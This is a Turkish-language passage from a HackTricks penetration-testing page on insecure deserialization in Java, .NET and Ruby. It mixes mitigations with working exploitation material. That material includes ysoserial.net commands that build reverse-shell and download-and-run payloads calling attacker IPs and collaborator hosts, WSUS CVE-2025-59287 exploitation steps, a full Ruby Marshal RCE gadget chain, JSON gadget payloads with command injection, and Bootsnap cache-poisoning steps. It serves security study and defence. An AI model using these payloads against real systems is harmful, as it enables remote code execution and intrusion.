Sınıf hiyerarşisi nedeniyle bazı nesnelerin Serializable arayüzünü uygulamak zorunda olduğu durumlarda, istemeden deserialization gerçekleşme riski vardır. Bunu önlemek için, bu nesnelerin non-deserializable olmasını sağlamak amacıyla aşağıda gösterildiği gibi sürekli olarak bir istisna fırlatan bir final readObject() metodu tanımlayın:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java’da Deserialization Güvenliğini Artırma
java.io.ObjectInputStream’ı Özelleştirme deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem şu durumlarda uygundur:
- Deserialization kodu sizin kontrolünüz altındaysa.
- Deserialization için beklenen sınıflar biliniyorsa.
Yalnızca izin verilen sınıflarla sınırlamak için resolveClass() metodunu override edin. Bu, açıkça izin verilenler dışındaki sınıfların deserialization’ını engeller; örneğin aşağıdaki örnek sadece Bicycle sınıfının deserialization’ına izin verir:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement kod değişikliğinin mümkün olmadığı durumlarda bir yedek çözümdür. Bu yöntem esasen blacklisting harmful classes için uygulanır ve bir JVM parameter kullanır:
-javaagent:name-of-agent.jar
Bu, anında kod değişikliklerinin pratik olmadığı ortamlar için ideal olan, deserialization işlemlerini dinamik olarak güvence altına almanın bir yolunu sağlar.
Bir örneğe bakın: rO0 by Contrast Security
Implementing Serialization Filters: Java 9, ObjectInputFilter arayüzü aracılığıyla serialization filtrelerini tanıttı; bu, serialized nesnelerin deserialized edilmeden önce karşılaması gereken kriterleri belirtmek için güçlü bir mekanizma sağlar. Bu filtreler global olarak veya her stream için uygulanabilir ve deserialization süreci üzerinde granüler kontrol sunar.
Serialization filtrelerini kullanmak için, tüm deserialization işlemlerine uygulanacak global bir filtre ayarlayabilir veya belirli stream’ler için bunu dinamik olarak yapılandırabilirsiniz. Örneğin:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Güvenliği Artırmak İçin Harici Kütüphanelerden Yararlanma: NotSoSerial, jdeserialize ve Kryo gibi kütüphaneler, Java deserialization’ı kontrol etmek ve izlemek için gelişmiş özellikler sunar. Bu kütüphaneler, whitelisting veya blacklisting sınıfları, deserialization’dan önce serialized nesneleri analiz etme ve özel serialization stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.
- NotSoSerial, güvenilmeyen kodun çalışmasını engellemek için deserialization süreçlerini yakalar.
- jdeserialize, serialized Java nesnelerini deserializing etmeden analiz etmeye olanak tanır; potansiyel olarak kötü amaçlı içeriği tespit etmeye yardımcı olur.
- Kryo, hız ve verimliliğe vurgu yapan alternatif bir serialization framework’üdür; yapılandırılabilir serialization stratejileri sunarak güvenliği artırabilir.
Referanslar
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- gadgetinspector hakkında sunum: https://www.youtube.com/watch?v=wPbW6zQ52w8 ve slaytlar: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Aşağıdaki sayfada JNDI Injection’in ne olduğunu, RMI, CORBA & LDAP aracılığıyla nasıl kötüye kullanılabileceğini ve log4shell’in nasıl exploit edileceğini (ve bu zafiyetin bir örneğini) bulun:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan Java tabanlı message-oriented middleware API’sidir. Producer–consumer problemine çözüm getirmek için uygulanmıştır. JMS, Java Platform, Enterprise Edition (Java EE) bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına izin veren bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: Wikipedia).
Ürünler
Bu middleware’ı kullanarak mesaj gönderen çeşitli ürünler bulunmaktadır:
.png)
.png)
İstismar
Temelde, JMS kullanan ve tehlikeli şekilde kullanılan birçok servis vardır. Bu nedenle, bu servislere mesaj göndermek için yeterli ayrıcalığınız (genellikle geçerli kimlik bilgileri gerekir) varsa, consumer/subscriber tarafından deserialize edilecek şekilde serialized edilmiş kötü amaçlı nesneler gönderebilirsiniz.
Bu, bu istismarda o mesajı kullanacak tüm istemcilerin etkilenebileceği anlamına gelir.
Hizmetin (kullanıcı girdisini güvensiz şekilde deserialize ettiği için) savunmasız bile olsa, yine de zafiyeti istismar etmek için geçerli gadget’ları bulmanız gerektiğini unutmayın.
JMET aracı, bu servislere bağlanıp bilinen gadget’ları kullanarak birçok serialized kötü amaçlı nesne göndererek saldırmak için oluşturulmuştur. Bu exploit’ler, servis hâlâ savunmasızsa ve kullanılan gadget’lardan herhangi biri savunmasız uygulama içinde mevcutsa çalışacaktır.
Referanslar
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
.Net bağlamında, deserialization exploit’leri Java’dakine benzer şekilde çalışır; gadget’lar, bir nesnenin deserialization işlemi sırasında belirli kodları çalıştırmak için istismar edilir.
Fingerprint
WhiteBox
Kaynak kod, aşağıdaki öğelerin geçip geçmediği açısından incelenmelidir:
TypeNameHandlingJavaScriptTypeResolver
Odak, türün kullanıcı tarafından kontrol edilen bir değişkenle belirlenmesine izin veren serializer’lar üzerinde olmalıdır.
BlackBox
Arama, Base64 ile kodlanmış AAEAAAD///// dizisini veya sunucu tarafında deserialization’a uğrayabilecek ve deserialize edilecek tür üzerinde kontrol sağlayabilecek benzer herhangi bir paterni hedeflemelidir. Bu, TypeObject veya $type içeren JSON veya XML yapıları gibi şeyleri içerebilir.
ysoserial.net
Bu durumda deserialization exploit’leri oluşturmak için ysoserial.net aracını kullanabilirsiniz. Git deposunu indirdikten sonra aracı örneğin Visual Studio kullanarak derlemelisiniz.
Eğer ysoserial.net’in exploit’i nasıl oluşturduğunu öğrenmek istiyorsanız, ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter’ın açıklandığı bu sayfayı inceleyebilirsiniz.
ysoserial.net’in ana seçenekleri: --gadget, --formatter, --output ve --plugin.
--gadgetistismar etmek istediğiniz gadget’ı (deserialization sırasında komut çalıştırmak için istismar edilecek sınıf/fonksiyonu) belirtmek için kullanılır.--formatterpayload’u serialize etmek için kullanılacak yöntemi belirtir (backend’in hangi kütüphaneyi kullanarak payload’u deserialize ettiğini bilmeniz ve aynı formatı kullanmanız gerekir).--outputexploit’in ham mı yoksa base64 kodlu mu olacağını belirtir. Not: ysoserial.net payload’u varsayılan olarak UTF-16LE ile encode edecektir (Windows’ta varsayılan encoding), bu yüzden ham çıktıyı alıp bir Linux konsolundan basitçe encode ederseniz encoding uyumluluk sorunları yaşayabilir ve exploit düzgün çalışmayabilir (HTB JSON kutusunda payload hem UTF-16LE hem ASCII ile çalışmıştı ama bu her zaman böyle olacaktır anlamına gelmez).--pluginysoserial.net, ViewState gibi belirli framework’ler için exploit üretmeye yarayan plugin’leri destekler.
Diğer ysoserial.net parametreleri
--minifymümkünse daha küçük bir payload sağlar--raf -f Json.Net -c "anything"Bu, belirli bir formatter (Json.Netbu örnekte) ile kullanılabilecek tüm gadget’ları gösterecektir--sf xmlbir gadget (-g) belirtebilir ve ysoserial.net “xml” (büyük/küçük harf duyarsız) içeren formatter’ları arayacaktır
ysoserial örnekleri exploit oluşturmak için:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ayrıca her exploit’in nasıl çalıştığını daha iyi anlamaya yardımcı olan çok ilginç bir parametreye sahip: --test
Bu parametreyi belirtirseniz ysoserial.net exploit’i yerel olarak deneyecek, böylece payload’unuzun doğru çalışıp çalışmadığını test edebilirsiniz.
Bu parametre faydalıdır çünkü kodu incelerseniz aşağıdaki gibi kod parçacıkları bulacaksınız (şu dosyadan ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Bu, exploit’i test etmek için code’un serializersHelper.JsonNet_deserialize çağıracağı anlamına gelir
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Önceki kod oluşturulan exploit’e karşı savunmasızdır. Bu yüzden .Net uygulamasında benzer bir şey bulursanız muhtemelen o uygulama da savunmasızdır.
Bu nedenle --test parametresi, ysoserial.net tarafından oluşturulabilecek desrialization exploit’e karşı hangi kod parçalarının savunmasız olduğunu anlamamıza yardımcı olur.
ViewState
Take a look to this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Eğer hedef makinede kullanılan gizli bilgileri zaten biliyorsanız, read this post to know to execute code.
Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Etkilenen endpoint’ler:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.- Kök neden: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).
Minimal exploitation (Reporting path):
- Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
ReportEventBatchiçin base64 gadget’ı gömerek SOAP oluşturun ve bunu/ReportingWebService.asmx’e POST edin.- Bir yönetici WSUS konsolunu açtığında, olay ters serileştirilir ve gadget tetiklenir (RCE olarak SYSTEM).
AuthorizationCookie / GetCookie()
- Sahte bir AuthorizationCookie kabul edilebilir, şifresi çözülebilir ve bir BinaryFormatter sink’ine iletilebilir; erişilebilirse pre‑auth RCE’ye olanak sağlar.
Public PoC (tecxx/CVE-2025-59287-WSUS) parametreleri:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
Bkz. Windows Local Privilege Escalation – WSUS
Önlemler
.Net’te deserializasyon ile ilişkili riskleri azaltmak için:
- Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının. Mümkünse
DataContractSerializerveyaXmlSerializerkullanın. JSON.Netiçin,TypeNameHandling’iNoneolarak ayarlayın:TypeNameHandling = TypeNameHandling.NoneJavaScriptSerializerileJavaScriptTypeResolverkullanımından kaçının.- Deserializable türleri sınırlayın,
System.IO.FileInfogibi .Net türlerinin sunucu dosyalarının özelliklerini değiştirebileceğini ve potansiyel olarak hizmet engelleme (DoS) saldırılarına yol açabileceğini anlayın. - Riskli özelliklere sahip türlere karşı dikkatli olun, örneğin
System.ComponentModel.DataAnnotations.ValidationException’ınValueözelliği kötüye kullanılabilir. - Tür örneklemesini güvenli şekilde kontrol edin; böylece saldırganların deserializasyon sürecini etkilemesini engelleyerek
DataContractSerializerveyaXmlSerializergibi araçların bile savunmasız hale gelmesini önleyin. - Beyaz liste kontrolleri uygulayın;
BinaryFormatterveJSON.Netiçin özel birSerializationBinderkullanın. - .Net içindeki bilinen güvensiz deserializasyon gadget’ları hakkında bilgi sahibi olun ve deserializer’ların bu türleri örneklememesini sağlayın.
- Potansiyel olarak riskli kodu izole edin; örneğin WPF uygulamalarındaki
System.Windows.Data.ObjectDataProvidergibi bilinen gadget’ların güvensiz veri kaynaklarına maruz kalmaması için internet erişimi olan koddan ayırın.
Referanslar
- Java ve .Net JSON deserializasyonu paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby’de serileştirme, marshal kütüphanesindeki iki metod ile sağlanır. Birinci metod olan dump, bir nesneyi byte akışına dönüştürmek için kullanılır. Bu işleme serileştirme denir. İkinci metod olan load ise byte akışını tekrar nesneye döndürmek (deserializasyon) için kullanılır.
Serileştirilmiş nesnelerin güvenliği için Ruby, HMAC (Hash-Based Message Authentication Code) kullanır; bu, verinin bütünlüğünü ve kaynağının doğruluğunu sağlar. Bu amaçla kullanılan anahtar aşağıdaki yerlerden birinde saklanır:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails’i sömürmek için başka bir RCE zinciri: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() metodu
Bu vulnerability reportda açıklandığı gibi, eğer kullanıcı tarafından temizlenmemiş bir girdi bir ruby nesnesinin .send() metoduna ulaşırsa, bu metod nesnenin herhangi bir başka metodunu herhangi bir parametreyle çağırmaya izin verir.
Örneğin, eval çağırıp ikinci parametre olarak ruby kodu vermek keyfi kod yürütülmesine izin verir:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Ayrıca, önceki yazıda belirtildiği gibi, saldırgan tarafından yalnızca .send()’in bir parametresinin kontrol edildiği durumlarda, nesnenin argümana ihtiyaç duymayan veya argümanları varsayılan değerlere sahip herhangi bir metodunu çağırmak mümkündür.
Bunun için, nesnenin tüm metodlarını sıralayarak bu gereksinimleri karşılayan bazı ilginç metodları bulmak mümkündür.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Nasıl mümkün olabileceğini buradan kontrol edin: pollute a Ruby class and abuse it in here.
Ruby _json pollution
Bir body içinde dizi gibi hashable olmayan bazı değerler gönderildiğinde, bunlar _json adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın body içinde istediği rastgele değerlerle _json adlı bir değer de ayarlaması mümkündür. Ardından, örneğin backend bir parametrenin doğruluğunu kontrol eder ama aynı zamanda _json parametresini bazı işlemler yapmak için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
Daha fazla bilgi için bakın: Ruby _json pollution page.
Other libraries
Bu teknik from this blog post alınmıştır.
Nesneleri serialize etmek için kullanılabilecek ve bu nedenle insecure deserialization sırasında RCE elde etmek için kötüye kullanılabilecek başka Ruby kütüphaneleri de vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve unserialize edildiğinde yüklenen sınıf içinde çağrılan yöntemi (esas olarak RCE elde etmek için kötüye kullanılabilecek fonksiyon) göstermektedir:
| Kütüphane | Girdi verisi | Sınıf içinde tetiklenen yöntem |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (sınıf, hash(map) içine anahtar olarak konulmalıdır) |
| Ox | XML | hash (sınıf, hash(map) içine anahtar olarak konulmalıdır) |
| Psych (Ruby) | YAML | hash (sınıf, hash(map) içine anahtar olarak konulmalıdır)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Basit örnek:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Oj’yi kötüye kullanmaya çalışırken, hash fonksiyonunun içinde to_s çağıran, bunun da spec’i, onun da fetch_path’i çağırdığı bir gadget class bulmak mümkündü; fetch_path’i rastgele bir URL’i getirecek şekilde çalıştırmak mümkün olup, bu tür temizlenmemiş deserialization zafiyetlerinin tespiti için müthiş bir dedektör sağlıyordu.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Ayrıca, önceki teknikle sistemde bir klasörün oluşturulduğu tespit edildi; bu, başka bir gadget’ı kötüye kullanarak bunu tam bir RCE’ye dönüştürmek için gerekli bir koşuldur, örneğin:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Önbellekleme
Aslında bir desearilization vuln değil ama bootstrap önbelleklemesini suistimal ederek arbitrary file write ile bir rails uygulamasından RCE elde etmek için güzel bir hile (tam metni için original post in here).
Aşağıda Bootsnap önbelleklemesini suistimal ederek arbitrary file write zafiyetini istismar etme adımlarının kısa özeti yer almaktadır:
-
Identify the Vulnerability and Environment
Rails uygulamasının dosya yükleme işlevi, saldırganın dosyaları arbitrary file write ile yazmasına izin verir. Uygulama kısıtlamalarla çalışsa da (Docker’ın non-root user’ı nedeniyle yalnızca tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap cache dizinine yazmaya izin verir (genellikle tmp/cache/bootsnap altında).
-
Understand Bootsnap’s Cache Mechanism
Bootsnap, derlenmiş Ruby kodu, YAML ve JSON dosyalarını önbelleğe alarak Rails başlatma sürelerini hızlandırır. Derlenmiş koddan sonra cache key header (Ruby version, file size, mtime, compile options vb. alanları içeren) ve ardından derlenmiş kodu içeren cache dosyaları depolar. Bu header, uygulama başlatılırken önbelleği doğrulamak için kullanılır.
-
Gather File Metadata
Saldırgan önce Rails başlatılması sırasında yüklenmesi muhtemel bir hedef dosya seçer (ör. Ruby’nin standart kütüphanesinden set.rb). Konteyner içinde Ruby kodu çalıştırarak kritik meta verileri (RUBY_VERSION, RUBY_REVISION, size, mtime, compile_option gibi) çıkarır. Bu veriler geçerli bir cache key oluşturmak için gereklidir.
-
Compute the Cache File Path
Bootsnap’in FNV-1a 64-bit hash mekanizmasını taklit ederek doğru cache dosya yolu belirlenir. Bu adım, kötü amaçlı cache dosyasının Bootsnap’in beklediği yere (örn. tmp/cache/bootsnap/compile-cache-iseq/) tam olarak yerleştirildiğinden emin olur.
-
Craft the Malicious Cache File
Saldırgan şu özelliklere sahip bir payload hazırlar:
- Arbitrary commands çalıştırır (örneğin process bilgilerini göstermek için id çalıştırmak).
- Yinelenen istismarı önlemek için yürütmeden sonra kötü amaçlı cache’i kaldırır.
- Uygulamayı çökertmemek için orijinal dosyayı (örn. set.rb) yükler.
Bu payload ikili Ruby koduna derlenir ve daha önce toplanan metadata ile Bootsnap için doğru sürüm numarası kullanılarak özenle oluşturulmuş cache key header ile birleştirilir.
-
Overwrite and Trigger Execution
Arbitrary file write zafiyeti kullanılarak saldırgan hazırlanmış cache dosyasını hesaplanan konuma yazar. Ardından tmp/restart.txt dosyasına yazarak (Puma tarafından izlenir) sunucu yeniden başlatmasını tetikler. Yeniden başlatma sırasında Rails hedeflenen dosyayı require ettiğinde kötü amaçlı cache dosyası yüklenir ve sonuç RCE olur.
Ruby Marshal istismarı pratikte (güncellendi)
Güvenilmeyen byte’ların Marshal.load/marshal_load ile ulaştığı her yolu bir RCE sink olarak değerlendirin. Marshal, arbitrary object graphs yeniden inşa eder ve materialization sırasında kütüphane/gem callback’lerini tetikler.
- Minimal zafiyetli Rails kod yolu:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Gerçek zincirlerde görülen yaygın gadget sınıfları:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Payloads içinde gömülü tipik yan etki işareti (unmarshal sırasında çalıştırılır):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Gerçek uygulamalarda ortaya çıktığı yerler:
- Rails cache store’ları ve session store’ları tarihsel olarak Marshal kullanır
- Background job backends ve file-backed object store’lar
- Herhangi bir özel persistence veya ikili object blob’ların taşınması
Endüstrileştirilmiş gadget discovery:
- constructor’lar için Grep yapın,
hash,_load,init_with, veya unmarshal sırasında çağrılan yan etkili metodları arayın - CodeQL’in Ruby unsafe deserialization sorgularını kullanarak sources → sinks’i izleyin ve gadget’ları ortaya çıkarın
- Kamuya açık çok formatlı PoC’larla doğrulayın (JSON/XML/YAML/Marshal)
Referanslar
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


